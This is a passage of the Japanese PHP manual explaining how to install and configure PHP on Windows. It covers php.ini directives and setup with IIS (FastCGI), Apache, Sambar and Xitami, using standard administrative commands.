zip パッケージを、たとえば C:\PHP\ などのお好みの場所に展開しましょう。 zip を展開した中身は、次のようになります。

例1 PHP 5 パッケージ構造

c:\php
   |
   +--dev
   |  |
   |  |-php5ts.lib                 -- 非スレッドセーフバージョンの場合は php5.lib
   |
   +--ext                          -- PHP 拡張モジュールの DLL
   |  |
   |  |-php_bz2.dll
   |  |
   |  |-php_cpdf.dll
   |  |
   |  |-...
   |
   +--extras                       -- 空
   |
   +--pear                         -- PEAR の初期コピー
   |
   |
   |-go-pear.bat                   -- PEAR セットアップ用スクリプト
   |
   |-...
   |
   |-php-cgi.exe                   -- CGI 実行ファイル
   |
   |-php-win.exe                   -- コマンドプロンプトを開かずにスクリプトを実行する
   |
   |-php.exe                       -- コマンドラインの PHP 実行ファイル (CLI)
   |
   |-...
   |
   |-php.ini-development           -- デフォルトの php.ini 設定
   |
   |-php.ini-production            -- 推奨される php.ini 設定
   |
   |-php5apache2_2.dll             -- 非スレッドセーフバージョンには存在しません
   |
   |-php5apache2_2_filter.dll      -- 非スレッドセーフバージョンには存在しません
   |
   |-...
   |
   |-php5ts.dll                    -- コア PHP DLL ( 非スレッドセーフバージョンの場合は php5.dll )
   |
   |-...

PHP の zip 版に含まれているモジュールや実行ファイルの一覧をまとめました。

  • go-pear.bat - PEAR セットアップスクリプト。詳細は » Installation (PEAR) を参照ください。

  • php-cgi.exe - CGI 実行ファイル。PHP を IIS 上で CGI あるいは FastCGI として実行するときに使います。

  • php-win.exe - PHP 実行ファイル。コマンドプロンプトを開かずに PHP スクリプトを実行します (Windows GUI を使う PHP アプリケーションなどに使います)。

  • php.exe - PHP 実行ファイル。PHP スクリプトをコマンドラインインターフェイス (CLI) で実行します。

  • php5apache2_2.dll - Apache 2.2.X モジュール。

  • php5apache2_2_filter.dll - Apache 2.2.X フィルタ。

php.ini ファイルの変更

php パッケージを展開したら、php.ini-production を php.ini という名前で同じフォルダにコピーします。 必要に応じて php.ini を別の場所に置くこともできますが、 その場合は PHP 設定ファイル にあるような設定が別途必要となります。

php.ini ファイルには、PHP の設定や動作環境についての情報を記述します。 php.ini ファイルには PHP を Windows 上で動かすための設定項目が数多く用意されています。 その中には必須でないものもあります。 また、環境に合わせて指定するディレクティブも数多くあります。詳細は php.ini ディレクティブのリスト を参照ください。

必須項目

  • extension_dir = <拡張モジュールのディレクトリへのパス> - extension_dir には、 PHP の拡張モジュールがあるディレクトリを指定しなければなりません。 絶対パス ("C:\PHP\ext") あるいは相対パス (i.e. ".\ext") のどちらでもかまいません。php.ini ファイルに書かれている拡張モジュールは、 extension_dir に置かなければなりません。

  • extension = xxxxx.dll - 使いたい拡張モジュールがある場合は、それに対応する "extension=" を書かなければなりません。extension_dir にある拡張モジュールのうち、ここで指定したものが起動時に読み込まれます。

  • log_errors = On - PHP のログ出力機能を使うと、エラーをファイルに記録したり (syslog などの) サービスに渡したりすることができます。これは 次の error_log ディレクティブと組み合わせて使います。 IIS で実行している場合は、log_errors を有効にして error_log を正しく設定しておく必要があります。

  • error_log = <エラーログファイルへのパス> - error_log には、PHP のエラーを記録するファイルを絶対パスあるいは相対パスで指定しなければなりません。 このファイルは、ウェブサーバーから書き込み可能でなければなりません。 このファイルを置く場所として一般的なのは、たとえば "C:\inetpub\temp\php-errors.log" のような TEMP ディレクトリです。

  • cgi.force_redirect = 0 - このディレクティブは、IIS で動かす際に必須となります。 他の多くのウェブサーバーではディレクトリセキュリティ機能を必要としますが、 これを IIS で有効にすると、Windows 上での PHP エンジンの実行に失敗します。

  • cgi.fix_pathinfo = 1 - これは、CGI 仕様に従った path info に PHP からアクセスできるようにします。 IIS の FastCGI 実装では、これを設定しておく必要があります。

  • fastcgi.impersonate = 1 - IIS での FastCGI には、呼び出し元のクライアントのセキュリティトークンをまねる機能があります。 これを指定すると、IIS にリクエストのセキュリティコンテキストを定義します。

  • fastcgi.logging = 0 - FastCGI のログ機能は、IIS では無効にしておかねばなりません。 有効にしたままだと、すべてのクラスから発せられるあらゆるメッセージが FastCGI のエラーとみなされ、IIS が HTTP 500 を返すようになってしまいます。

オプションの項目

  • max_execution_time = ## - このディレクティブでは、スクリプトの実行に費やすことのできる最大時間を PHP に伝えます。デフォルトは 30 秒です。 もし PHP アプリケーションの実行時間が長くなるのなら、このディレクティブの値を増やします。

  • memory_limit = ###M - PHP プロセスが使えるメモリの量をメガバイト単位で指定します。 デフォルトは 128 で、たいていの PHP アプリケーションではこれで十分です。 複雑なアプリケーションではもう少し必要となるかもしれません。

  • display_errors = Off - このディレクティブは、ウェブサーバーに返すストリームに エラーメッセージを含めるかどうかを指定します。 これを "On" にすると、error_reporting で設定したすべてのレベルのエラーを エラーストリームの一部としてウェブサーバーに返します。 セキュリティ上の理由で、実運用環境ではこれを "Off" にしておくことを推奨します。 エラーメッセージにはセキュリティ的に問題となる情報が含まれていることが多く、 それが外部に漏れることを防げます。

  • open_basedir = <ディレクトリへのパス、セミコロン区切り>、 たとえば openbasedir="C:\inetpub\wwwroot;C:\inetpub\temp" - このディレクティブは、PHP からのファイルシステムの操作を許可するディレクトリのパスを指定します。 指定したパス以外でのファイル操作はすべてエラーとなります。 このディレクティブは、共用ホスティング環境に PHP を導入するときに特に有用です。 ウェブサイトのルートディレクトリ以外のファイルを操作させないようにすることができます。

  • upload_max_filesize = ###M および post_max_size = ###M - ファイルのアップロードおよび POST するデータの最大サイズを指定します。 PHP のアプリケーションで写真や動画などの大きなファイルをアップロードさせたい場合は、 これらの値を増やさなければなりません。

以上で、Windows への PHP のインストールが完了しました。ついで、 使用する WEB サーバー にあわせて、PHP を利用可能とするための設定を行います。 目次から使用する WEB サーバーを選択し、該当するセクションを参照してください。

PHP をウェブサーバー経由で実行するだけでなく、 .BAT スクリプトなどでコマンドラインから実行することもできます。

Microsoft IIS

この?では、Microsoft Internet Information Services (IIS) への PHP のインストール手順について扱います。

  • Microsoft IIS 5.1 および IIS 6.0 への PHP の手動インストール
  • Microsoft IIS 7.0 以降への PHP の手動インストール

Microsoft IIS 5.1 および IIS 6.0

この?では、Internet Information Services (IIS) 5.1 および IIS 6.0 を手動で設定して、PHP を Microsoft Windows XP および Windows Server 2003 で動かす方法を説明します。 IIS 7.0 以降のバージョンを Windows Vista, Windows Server 2008, Windows 7 そして Windows Server 2008 R2 で動かす方法については Microsoft IIS 7.0 以降 を参照ください。

IIS で PHP リクエストを処理するための設定

手動インストールの手順 での説明にしたがって、PHP をダウンロードしてインストールします。

注意:

IIS を使う場合は、非スレッドセーフ版の PHP を推奨します。非スレッドセーフ版は » PHP for Windows: Binaries and Sources Releases. で取得できます。

CGI や FastCGI 固有の設定を、php.ini で以下のように行います。

例2 php.ini での CGI および FastCGI 用の設定

fastcgi.impersonate = 1
fastcgi.logging = 0
cgi.fix_pathinfo=1
cgi.force_redirect = 0

» Microsoft FastCGI Extension for IIS 5.1 and 6.0 をダウンロードしてインストールします。32 ビット版と 64 ビット版があるので、 環境にあわせて適切なパッケージを選びましょう。

FastCGI エクステンションを設定し、PHP のリクエストを処理できるようにするには 以下のコマンドを実行します。"-path" パラメータの値は、 php-cgi.exe の絶対パスに置き換えましょう。

例3 FastCGI エクステンションで PHP リクエストを処理するための設定

cscript %windir%\system32\inetsrv\fcgiconfig.js -add -section:"PHP" ^
-extension:php -path:"C:\PHP\php-cgi.exe"

このコマンドは、拡張子 *.php 用の IIS スクリプトマッピングを作成します。 .php で終わるすべての URL を FastCGI エクステンションで処理するようになります。 また、FastCGI エクステンションでの PHP リクエストの処理に php-cgi.exe を使うよう設定しています。

注意:

この時点で、最低限必要なインストールと設定は完了しました。 これ以降の手順は必須ではありませんが、IIS 上で PHP を効果的に動かすために強く推奨するものです。

匿名化およびファイルシステムへのアクセス

PHP を IIS で使う場合は、FastCGI の匿名化を有効にしておくことを推奨します。 これは、php.ini ファイルの fastcgi.impersonate ディレクティブで設定します。 匿名化を有効にすると、PHP はすべてのファイルシステム操作を IIS 認証で定義したユーザーアカウントで行います。 こうしておけば、同じ PHP プロセスを異なる IIS ウェブサイトで共有している場合でも (各サイトで IIS 認証のユーザーアカウントを分けておけば) 一方の PHP スクリプトからもう一方のファイルはアクセスできなくなります。

IIS 5.1 や IIS 6.0 のデフォルト設定では組み込みのユーザーアカウント IUSR_<MACHINE_NAME> による匿名認証が有効になっています。 つまり、IIS で PHP スクリプトを実行する場合は IUSR_<MACHINE_NAME> アカウントにスクリプトの読み込み権限を付与しなければならないということです。 PHP のアプリケーションからファイルへの書き込みやフォルダ内でのファイルの作成などをする場合は、 IUSR_<MACHINE_NAME> アカウントに書き込み権限が必要となります。

IIS 匿名認証で使うユーザーアカウントを設定するには、次のようにします。

  1. Windows のスタートメニューで "ファイル名を指定して実行" を選び、"inetmgr" と入力して "Ok" をクリックする

  2. ツリービューの "Web Sites" ノードにあるウェブサイトの一覧を展開し、 使うウェブサイトの上で右クリックして "プロパティ" を選択する

  3. "ディレクトリセキュリティ" タブを選択する

  4. "Authentication Methods" ダイアログの "User name:" フィールドで設定

IIS 5.1 および IIS 6.0 の匿名認証

ファイルやフォルダのパーミッションを変更するには、エクスプローラあるいは icacls コマンドを使います。

例4 ファイルのアクセス権の設定

icacls C:\inetpub\wwwroot\upload /grant IUSR:(OI)(CI)(M)

IIS のデフォルトドキュメントを index.php にする

ドキュメント名を指定しない HTTP リクエストを受け取ったときには、 IIS のデフォルトドキュメントが使われます。PHP アプリケーションでは、通常は index.php をデフォルトドキュメントとします。 index.php を IIS のデフォルトドキュメントに追加するには、 次のようにします。

  1. Windows のスタートメニューで "ファイル名を指定して実行" を選び、"inetmgr" と入力して "Ok" をクリックする

  2. ツリービューの "Web Sites" ノードを右クリックして "プロパティ" を選択する

  3. "Documents" タブをクリックする

  4. "Add..." ボタンをクリックし、"Default content page:" に "index.php" を入力する

index.php を IIS のデフォルトドキュメントにする

FastCGI および PHP の再利用設定

IIS FastCGI エクステンションで PHP プロセスの再利用を設定するには以下のコマンドを使います。 FastCGI の設定項目 instanceMaxRequests は、 ひとつの php-cgi.exe が何回リクエストを処理すると FastCGI エクステンションがシャットダウンさせるかを表します。 PHP の環境変数 PHP_FCGI_MAX_REQUESTS は、 ひとつの php-cgi.exe プロセスが何回リクエストを処理すると 自分をリサイクルするかを表します。 FastCGI の InstanceMaxRequests で設定した値が PHP_FCGI_MAX_REQUESTS 以下になるようにしましょう。

例5 FastCGI と PHP の再利用設定

cscript %windir%\system32\inetsrv\fcgiconfig.js -set -section:"PHP" ^
-InstanceMaxRequests:10000

cscript %windir%\system32\inetsrv\fcgiconfig.js -set -section:"PHP" ^
-EnvironmentVars:PHP_FCGI_MAX_REQUESTS:10000

FastCGI のタイムアウト設定

実行時間が長くなる PHP スクリプトがある場合は、FastCGI エクステンションのタイムアウト設定を増やします。タイムアウトに関連する設定項目は ActivityTimeout と RequestTimeout です。 これらの設定に関する詳細は » Configuring FastCGI Extension for IIS 6.0 を参照ください。

例6 FastCGI のタイムアウト設定

cscript %windir%\system32\inetsrv\fcgiconfig.js -set -section:"PHP" ^
-ActivityTimeout:90

cscript %windir%\system32\inetsrv\fcgiconfig.js -set -section:"PHP" ^
-RequestTimeout:90

php.ini ファイルの場所の変更

PHP が php.ini ファイルを探す場所は いくつかあり、 php.ini ファイルのデフォルトの場所を 環境変数 PHPRC で変更することができます。 特定の場所においた設定ファイルを PHP に読み込ませたい場合は、 以下のコマンドを実行します。環境変数 PHPRC には、php.ini ファイルがあるディレクトリへの絶対パスを指定しなければなりません。

例7 php.ini ファイルの場所の変更

cscript %windir%\system32\inetsrv\fcgiconfig.js -set -section:"PHP" ^
-EnvironmentVars:PHPRC:"C:\Some\Directory\"

Microsoft IIS 7.0 以降

このセクションでは、Internet Information Services (IIS) 7.0 以降を設定して、PHP を Microsoft Windows Vista SP1, Windows 7, Windows Server 2008 および Windows Server 2008 R2 で動かす方法を説明します。 IIS 5.1 や IIS 6.0 を Windows XP および Windows Server 2003 で動かす方法については Microsoft IIS 5.1 および IIS 6.0 を参照ください。

IIS での FastCGI サポートの有効化

FastCGI モジュールは、IIS のデフォルトでは無効になっています。 有効化する手順は、Windows のバージョンによって異なります。

Windows Vista SP1 および Windows 7 で FastCGI サポートを有効化する方法

  1. Windows のスタートメニューで "ファイル名を指定して実行" を選び、 "optionalfeatures.exe" と入力して "Ok" をクリックする

  2. "Windows Features" ダイアログで "Internet Information Services"、"World Wide Web Services"、"Application Development Features" を展開し、"CGI" チェックボックスを有効にする

  3. OK をクリックし、インストールが完了するまで待つ

Windows Vista SP1 および Windows 7 での FastCGI サポートの有効化

Windows Server 2008 および Windows Server 2008 R2 で FastCGI サポートを有効化する方法

  1. Windows のスタートメニューで "ファイル名を指定して実行" を選び、 "CompMgmtLauncher" と入力して "Ok" をクリックする

  2. "Web Server (IIS)" ロールが "Roles" ノードの下に存在しない場合は "Add Roles" をクリックして追加する

  3. "Web Server (IIS)" ロールが存在する場合は、"Add Role Services" をクリックして "Application Development" グループの "CGI" チェックボックスを有効にする

  4. "Next"、そして "Install" をクリックし、 インストールが完了するまで待つ

Windows Server 2008 および Windows Server 2008 R2 での FastCGI サポートの有効化

IIS で PHP リクエストを処理するための設定

手動インストールの手順 での説明にしたがって、PHP をダウンロードしてインストールします。

注意:

IIS を使う場合は、非スレッドセーフ版の PHP を推奨します。非スレッドセーフ版は » PHP for Windows: Binaries and Sources Releases. で取得できます。

CGI や FastCGI 固有の設定を、php.ini で以下のように行います。

例8 php.ini での CGI および FastCGI 用の設定

fastcgi.impersonate = 1
fastcgi.logging = 0
cgi.fix_pathinfo=1
cgi.force_redirect = 0

PHP 用の IIS ハンドラマッピングを設定するには IIS マネージャのユーザーインターフェイス あるいはコマンドラインツールを使います。

IIS マネージャのユーザーインターフェイスを使った PHP 用ハンドラマッピングの作成

PHP 用の IIS ハンドラマッピングを IIS マネージャのユーザーインターフェイスで設定する手順は次のとおりです。

  1. Windows のスタートメニューで "ファイル名を指定して実行" を選び、"inetmgr" と入力して "Ok" をクリックする

  2. IIS マネージャのユーザーインターフェイスで、"Connections" ツリービューのサーバーノードを選ぶ

  3. "Features View" ページで "Handler Mappings" を開く

    PHP 用の IIS ハンドラマッピングの作成 : ハンドラマッピングの場所

  4. "Actions" ペインで "Add Module Mapping..." をクリックする

  5. "Add Module Mapping" ダイアログで次のように入力する

    • Request path: *.php
    • Module: FastCgiModule
    • Executable: C:\[PHP をインストールしたパス]\php-cgi.exe
    • Name: PHP_via_FastCGI

  6. "Request Restrictions" ボタンをクリックし、 リクエストがファイルあるいはフォルダにマップされたときだけハンドラが起動するように設定する

  7. すべてのダイアログで OK をクリックし、設定を保存する

PHP 用の IIS ハンドラマッピングの作成 : ハンドラマッピングの追加

コマンドラインツールによる PHP 用ハンドラマッピングの作成

次のコマンドを使うと、IIS FastCGI プロセスプールを作ることができます。 PHP リクエストの処理には php-cgi.exe を使います。 fullPath パラメータの値は php-cgi.exe への絶対パスで置き換えてください。

例9 IIS FastCGI プロセスプールの作成

%windir%\system32\inetsrv\appcmd set config /section:system.webServer/fastCGI ^
/+[fullPath='c:\PHP\php-cgi.exe']

IIS に PHP のリクエストを処理させるには、以下のコマンドを実行します。 scriptProcessor パラメータの値は php-cgi.exe への絶対パスで置き換えてください。

例10 PHP リクエスト用のハンドラマッピングの作成

%windir%\system32\inetsrv\appcmd set config /section:system.webServer/handlers ^
/+[name='PHP_via_FastCGI', path='*.php',verb='*',modules='FastCgiModule',^
scriptProcessor='c:\PHP\php-cgi.exe',resourceType='Either']

このコマンドは、拡張子 *.php 用の IIS ハンドラマッピングを作成します。 .php で終わるすべての URL を FastCGI モジュールで処理するようになります。

注意:

この時点で、最低限必要なインストールと設定は完了しました。 これ以降の手順は必須ではありませんが、IIS 上で PHP を効果的に動かすために強く推奨するものです。

匿名化およびファイルシステムへのアクセス

PHP を IIS で使う場合は、FastCGI の匿名化を有効にしておくことを推奨します。 これは、php.ini ファイルの fastcgi.impersonate ディレクティブで設定します。 匿名化を有効にすると、PHP はすべてのファイルシステム操作を IIS 認証で定義したユーザーアカウントで行います。 こうしておけば、同じ PHP プロセスを異なる IIS ウェブサイトで共有している場合でも (各サイトで IIS 認証のユーザーアカウントを分けておけば) 一方の PHP スクリプトからもう一方のファイルはアクセスできなくなります。

IIS 7 のデフォルト設定では組み込みのユーザーアカウント IUSR による匿名認証が有効になっています。 つまり、IIS で PHP スクリプトを実行する場合は IUSR アカウントにスクリプトの読み込み権限を付与しなければならないということです。 PHP のアプリケーションからファイルへの書き込みやフォルダ内でのファイルの作成などをする場合は、 IUSR アカウントに書き込み権限が必要となります。

IIS 7 の匿名認証で使うユーザーアカウントを設定するには、次のコマンドを実行します。 "Default Web Site" の部分は、使用する IIS ウェブサイト名に置き換えてください。 出力される XML 設定要素の中から userName 属性を探します。

例11 IIS 匿名認証で使うアカウントの設定

%windir%\system32\inetsrv\appcmd.exe list config "Default Web Site" ^
/section:anonymousAuthentication

<system.webServer>
  <security>
    <authentication>
      <anonymousAuthentication enabled="true" userName="IUSR" />
    </authentication>
   </security>
</system.webServer>

注意:

userName 属性が anonymousAuthentication 要素になかったり、あるいは属性の値が空の文字列になっている場合は、 アプリケーションプールの認証情報をそのウェブサイトの匿名認証で使います。

ファイルやフォルダのパーミッションを変更するには、エクスプローラあるいは icacls コマンドを使います。

例12 ファイルのアクセス権の設定

icacls C:\inetpub\wwwroot\upload /grant IUSR:(OI)(CI)(M)

IIS のデフォルトドキュメントを index.php にする

ドキュメント名を指定しない HTTP リクエストを受け取ったときには、 IIS のデフォルトドキュメントが使われます。PHP アプリケーションでは、通常は index.php をデフォルトドキュメントとします。 index.php を IIS のデフォルトドキュメントに追加するには、 次のようにします。

例13 index.php を IIS のデフォルトドキュメントにする

%windir%\system32\inetsrv\appcmd.exe set config ^
-section:system.webServer/defaultDocument /+"files.[value='index.php']" ^
/commit:apphost

FastCGI および PHP の再利用設定

IIS FastCGI で PHP プロセスの再利用を設定するには以下のコマンドを使います。 FastCGI の設定項目 instanceMaxRequests は、 ひとつの php-cgi.exe が何回リクエストを処理すると FastCGI エクステンションがシャットダウンさせるかを表します。 PHP の環境変数 PHP_FCGI_MAX_REQUESTS は、 ひとつの php-cgi.exe プロセスが何回リクエストを処理すると 自分をリサイクルするかを表します。 FastCGI の InstanceMaxRequests で設定した値が PHP_FCGI_MAX_REQUESTS 以下になるようにしましょう。

例14 FastCGI と PHP の再利用設定

%windir%\system32\inetsrv\appcmd.exe set config -section:system.webServer/fastCgi ^
/[fullPath='c:\php\php-cgi.exe'].instanceMaxRequests:10000

%windir%\system32\inetsrv\appcmd.exe set config -section:system.webServer/fastCgi ^
/+"[fullPath='C:\{php_folder}\php-cgi.exe'].environmentVariables.^
[name='PHP_FCGI_MAX_REQUESTS',value='10000']"

FastCGI のタイムアウト設定

実行時間が長くなる PHP スクリプトがある場合は、FastCGI のタイムアウト設定を増やします。タイムアウトに関連する設定項目は activityTimeout と requestTimeout です。 タイムアウト設定を変更するには以下のコマンドを使います。 fullPath パラメータの値を php-cgi.exe ファイルへの絶対パスに置き換えてください。

例15 FastCGI のタイムアウト設定

%windir%\system32\inetsrv\appcmd.exe set config -section:system.webServer/fastCgi ^
/[fullPath='C:\php\php-cgi.exe',arguments=''].activityTimeout:"90"  /commit:apphost

%windir%\system32\inetsrv\appcmd.exe set config -section:system.webServer/fastCgi ^
/[fullPath='C:\php\php-cgi.exe',arguments=''].requestTimeout:"90"  /commit:apphost

php.ini ファイルの場所の変更

PHP が php.ini ファイルを探す場所は いくつかあり、 php.ini ファイルのデフォルトの場所を 環境変数 PHPRC で変更することができます。 特定の場所においた設定ファイルを PHP に読み込ませたい場合は、 以下のコマンドを実行します。環境変数 PHPRC には、php.ini ファイルがあるディレクトリへの絶対パスを指定しなければなりません。

例16 php.ini ファイルの場所の変更

appcmd.exe set config  -section:system.webServer/fastCgi ^
/+"[fullPath='C:\php\php.exe',arguments=''].environmentVariables.^
[name='PHPRC',value='C:\Some\Directory\']" /commit:apphost

Apache 1.3.x （Microsoft Windows 用）

このセクションでは、Microsoft Windows 上の Apache 1.3.x で PHP を使用する場合について説明します。

注意:

まず始めに、マニュアルインストールの手順 をお読みください。

PHP を Windows 上の Apache 1.3.x で動作させるには、2種類の方法が あります。一つは、CGI バイナリ (PHP 4 の場合 php.exe、 PHP 5 の場合 php-cgi.exe) を使用する方法、もう一つ は Apache モジュール DLL を使用する方法です。どちらの場合も httpd.conf を編集して Apache が PHP を利用できるようにした後、 Apache サーバーを再起動する必要があります。

Windwos 環境向けの SAPI モジュールはかなり安定してきているため、 透過性と安全性の面からも CGI バイナリより SAPI モジュールの 使用を推奨します。

Apache で PHP を使うように設定する手順にはいくつかのバリエーションがありますが、 いずれも入門者にもできるほど簡単です。設定ディレクティブに関する詳細については、 Apache のドキュメントも参照してください。

設定ファイルを変更した後、サーバーの再起動を忘れずに行ってください。 Apache を Windows サービスとして実行しているなら、NET STOP APACHE とした後 NET START APACHE とします。 もしくは、スタートメニューのショートカットからも再起動できる場合もあります。

注意: Windows 上で Apache 設定ファイルにパスの値を追加する際、例えば c:\directory\file.ext に含まれるすべてのバックスラッシュは c:/directory/file.ext のように前向きスラッシュに変換する必要があります。 また、ディレクトリを表す際には最後にスラッシュをつけなければなりません。

Apache モジュールの使用

以下の行を Apache の httpd.conf ファイルに追加してください。

例17 Apache 1.3.x でモジュール版の PHP を使用する場合の設定

以下では、PHP は c:\php にインストールされていると仮定します。 そうでない場合はパスを適当に修正してください。

PHP 4 の場合

# LoadModule セクションの最後に追加
# sapi ディレクトリからこのファイルをコピーするのを忘れないこと!
LoadModule php4_module "C:/php/php4apache.dll"

# AddModule セクションの最後に追加
AddModule mod_php4.c

PHP 5 の場合

# LoadModule セクションの最後に追加
LoadModule php5_module "C:/php/php5apache.dll"

# AddModule セクションの最後に追加
AddModule mod_php5.c

共通

# <IfModule mod_mime.c> 条件節の内部に追加
AddType application/x-httpd-php .php

# .phps ファイルを構文ハイライト表示する場合に追加
AddType application/x-httpd-php-source .phps

CGI バイナリの使用

マニュアルインストールの手順 のセクションにある通り、PHP パッケージを C:\php\ に展開したならば、以下を Apache の設定ファイルに追加すれば CGI バイナリを利用可能にできます。

例18 Apache 1.3.x で CGI 版の PHP を使用する場合の設定

ScriptAlias /php/ "c:/php/"
AddType application/x-httpd-php .php

# PHP 4 の場合
Action application/x-httpd-php "/php/php.exe"

# PHP 5 の場合
Action application/x-httpd-php "/php/php-cgi.exe"

# php.ini の場所を設定
SetEnv PHPRC C:/php
上記の 2 行目は、コメントアウトされた状態で httpd.conf に記載されている場合があります。また、c:/php/ は、実際のパスにあわせて修正してください。

警告

CGI モードで公開したサーバーは、いくつかの脆弱性の標的となる可能性があります。 これらの攻撃からサーバーを守る方法については、 CGI セキュリティ のセクションを参照してください。

PHP ソースの構文ハイライト表示については、モジュール版にあるような便利な オプションはありません。Apache で CGI 版の PHP を使用している場合、 highlight_file() 関数を使用してください。 普通に PHP スクリプトを作成し、次のようにコードを記述すれば、構文ハイライト表示が可能です。 <?php highlight_file('ハイライト表示するファイル'); ?>

Apache 2.x （Microsoft Windows 用）

このセクションでは、Microsoft Windows 上の Apache 2.x で PHP を使用する場合について説明します。

注意:

まず始めに、マニュアルインストールの手順 をお読みください。

注意: Apache 2.2 のサポート

Apache 2.2 を利用している方は、Apache 2.2 用の DLL ファイルの名前が php5apache2.dll ではなく php5apache2_2.dll であることに注意しましょう。 このファイルは PHP 5.2.0 以降にしか含まれません。

» Apache ドキュメンテーション を参照し、Apache 2.x サーバーの基本を理解しておくことを強く推奨します。 また、以下の解説を読む前に、Apache 2.x に関する » Windows 固有の情報 についても参照するとよいでしょう。

Apache 2.x は、サーバープラットフォーム用の Windows、 つまり Windows NT 4.0, Windows 2000, Windows XP および Windows 7 で動作するように設計されています。Apache 2.x は Windows 9x でもそれなりに動作しますが、サポートは不完全です。 また、一部うまく動作しない機能もあります。 この問題の解決策はありません。

最新の » Apache 2.x と、 対応するバージョンの PHP をダウンロードしてください。 マニュアルインストールの手順 を実施したら、引き続き以下のとおり PHP と Apache の設定を行ってください。

PHP を Windows 上の Apache 2.x で動かすには三通りの方法があります。 PHP をハンドラとして動かす方法、CGI として動かす方法、そして FastCGI で動かす方法です。

注意: Windows 上で Apache 設定ファイルにパスの値を追加する際、例えば c:\directory\file.ext に含まれるすべてのバックスラッシュは c:/directory/file.ext のように前向きスラッシュに変換する必要があります。 また、ディレクトリを表す際には最後にスラッシュをつけなければなりません。

Apache ハンドラとしてのインストール

以下の行を Apache 設定ファイル httpd.conf に追加して Apache 2.x 用の PHP モジュールを読み込まなければなりません。

例19 PHP を Apache 2.x ハンドラとして使う設定

#
LoadModule php5_module "c:/php/php5apache2.dll"
AddHandler application/x-httpd-php .php

# php.ini へのパスを設定します
PHPIniDir "C:/php"

注意: 上の例の C:/php/ は実際のパスにあわせて修正してください。 LoadModule ディレクティブで php5apache2.dll と php5apache2_2.dll のどちらを使うのかに注意し、 指定したファイルが実際にその場所にあるかどうかを忘れずに確認しましょう。

上の設定は、拡張子 .php を含むすべてのファイルを PHP で処理するようにします。 たとえそれ以外の拡張子が含まれていたとしてもです。たとえば example.php.txt という名前のファイルも PHP ハンドラが処理します。ファイル名の 最後が .php であるものだけを処理させたい場合は、次のように設定します。

<FilesMatch \.php$>
      SetHandler application/x-httpd-php
 </FilesMatch>

CGI としての PHP の実行

» Apache CGI ドキュメント を読み、Apache 上の CGI について理解しておきましょう。

PHP を CGI として実行するには、ScriptAlias ディレクティブで CGI ディレクトリとして指定した場所に php-cgi ファイルを置かなければなりません。

さらに、PHP ファイルに #! の行を追加して PHP バイナリの場所を指定しなければなりません。

例20 PHP を Apache 2.x 上で CGI として動かす例

#!C:/php/php.exe
<?php
  phpinfo();
?>

警告

CGI モードで公開したサーバーは、いくつかの脆弱性の標的となる可能性があります。 これらの攻撃からサーバーを守る方法については、 CGI セキュリティ のセクションを参照してください。

PHP を FastCGI で実行する

PHP を FastCGI で動かすのには、CGI として動かすのにくらべると多くの利点があります。 設定方法は単純明快です。

まず mod_fcgid を » http://httpd.apache.org/mod_fcgid/ から取得します。Win32 用のバイナリがこのサイトからダウンロードできます。 そして、説明に従ってモジュールをインストールしましょう。

次にウェブサーバーを以下のように設定します。 パスの部分は適切に変更し、インストールするシステム上の環境にあわせましょう。

例21 PHP を FastCGI として動かす Apache の設定

LoadModule fcgid_module modules/mod_fcgid.so

# Where is your php.ini file?
FcgidInitialEnv PHPRC        "c:/php"

AddHandler fcgid-script .php
FcgidWrapper "c:/php/php-cgi.exe" .php
これで、拡張子 .php のファイルは PHP FastCGI ラッパーが処理するようになります。

Sambar サーバー（Microsoft Windows 用）

このセクションでは、Windows 上の » Sambar Server で PHP を使用する場合について説明します。

注意:

まず始めに、マニュアルインストールの手順 をお読みください。

以下の手順は、Windows上 の Sambar サーバーで ISAPI モジュール版の PHP を使うように 設定する方法を解説するものです。

  • Sambar をインストールしたフォルダ (の config フォルダ)にある mappings.ini という名前のファイルを探します。

  • mappings.ini を開き、以下の行を [ISAPI] の下に追加します。

    例22 Sambar での ISAPI の設定

    # PHP 4 用
*.php = c:\php\php4isapi.dll

# PHP 5 用
*.php = c:\php\php5isapi.dll
    (PHP が c:\php にインストールされていると 仮定しています。)

  • 変更を有効にするために Sambar サーバーを再起動します。

注意:

PHP で ネットワーク上の他のコンピュータにあるリソースと通信したい場合は、 Sambar Server サービスが使用するアカウントを変更する必要があります。 Sambar Server サービスが使用しているデフォルトのアカウントは LocalSystem で、これはリモートのリソースにアクセスできません。 アカウントを変更するには、コントロールパネルの管理ツールから 「サービス」を使用します。

Xitami（Microsoft Windows 用）

このセクションでは、Windows 上の » Xitami で PHP を使用する場合について説明します。

注意:

まず始めに、マニュアルインストールの手順 をお読みください。

以下の手順は、Windows 上の Xitami でPHP の CGI 版バイナリを動作させる際の 設定方法です。

注意: CGI 版 PHP を使用する場合

cgi.force_redirectに関するFAQ に重要な情報がありますのでお読みください。このディレクティブが 0 にセットされている必要があります。 $_SERVER['PHP_SELF'] を使用する場合は、 cgi.fix_pathinfo をオンにする必要があります。

警告

CGI モードで公開したサーバーは、いくつかの脆弱性の標的となる可能性があります。 これらの攻撃からサーバーを守る方法については、 CGI セキュリティ のセクションを参照してください。

  • Web サーバーが正常に動作していることを確認し、 ブラウザで Xitami 管理用コンソール（通常は http://127.0.0.1/admin）を参照して、「Configuration」を クリックします。

  • 「Filters」を選択し、php にパースさせるファイルの拡張子 (.php など) を 「File extensions (.xxx) 」フィールドに入力します。

  • 「Filter command or script」に、CGI 版 PHP バイナリのパスと名前 (たとえば、c:\php\php.exe) を入力します。

  • 「Save」アイコンを押します。

  • 変更点を反映するためにサーバーを再起動します。

ソースからのビルド

この章では、Windows 上でマイクロソフトのツールを用いて PHP をソースから コンパイルする方法を説明します。PHP を cygwin でコンパイルする場合は Unix システムへのインストール を参照ください。

Wiki のドキュメント » https://wiki.php.net/internals/windows/stepbystepbuild を参照ください。

Windows 用 PHP 拡張モジュール

Windows に PHP を インストールし、Web サーバーの設定ができたら、 次は PHP 拡張モジュールを使うための設定です。 php.ini を使って PHP が起動時にロードする拡張モジュールを設定することができます。 もしくは、スクリプトの中で dl() 関数を使用することにより、 拡張モジュールを動的にロードすることも可能です。

PHP 拡張モジュールの DLL には、ファイル名の前に 'php_' が付いています。

